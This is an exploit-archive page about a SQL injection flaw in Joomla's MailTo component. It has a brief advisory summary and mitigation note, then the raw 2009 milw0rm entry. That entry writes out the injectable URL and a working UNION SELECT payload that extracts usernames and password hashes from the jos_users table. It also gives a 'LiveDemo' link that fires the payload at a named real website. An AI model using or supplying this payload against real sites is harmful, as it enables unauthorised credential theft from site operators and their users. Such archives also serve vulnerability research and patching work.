Joomla Component MailTo SQL Injection Vulnerability

vendor:

MailTo (com_mailto)

by:

H!tm@N

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: MailTo (com_mailto)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

6-Apr

Joomla Component MailTo SQL Injection Vulnerability

An attacker can exploit this vulnerability by sending a crafted URL to the vulnerable application. The crafted URL contains malicious SQL code in the ‘article’ parameter of the ‘com_mailto’ component. This code is executed in the backend database, allowing the attacker to access or modify the data in the database.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to apply the patch immediately.

Source

Exploit-DB raw data:

#############################################################################
#							                    #
#            Joomla Component MailTo SQL Injection Vulnerability            #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "MailTo (com_mailto)" 
[~] Date:           "April 2006"

########################################

[~] Exploit /index.php?option=com_mailto&tmpl=mailto&article=[SQL]&Itemid=1
[~] Example /index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)KHG+from+jos_users--&Itemid=1

########################################

[~] LiveDemo: http://www.itp.net/index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)KHG+from+jos_users--&Itemid=1

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

# milw0rm.com [2009-04-08]